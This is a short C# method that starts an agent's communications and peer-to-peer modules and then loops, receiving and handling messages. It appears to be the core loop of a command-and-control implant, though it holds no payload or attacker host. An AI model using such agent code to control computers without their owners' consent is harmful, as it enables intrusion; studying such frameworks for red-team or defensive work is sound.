public void Start() { AgentStatus = AgentStatus.Running; CommModule.SetMetadata(AgentMetadata); CommModule.Start(); P2P.Start(); while (AgentStatus == AgentStatus.Running) { if (CommModule.RecvData(out AgentMessage message)) { HandleMessage(message); } } }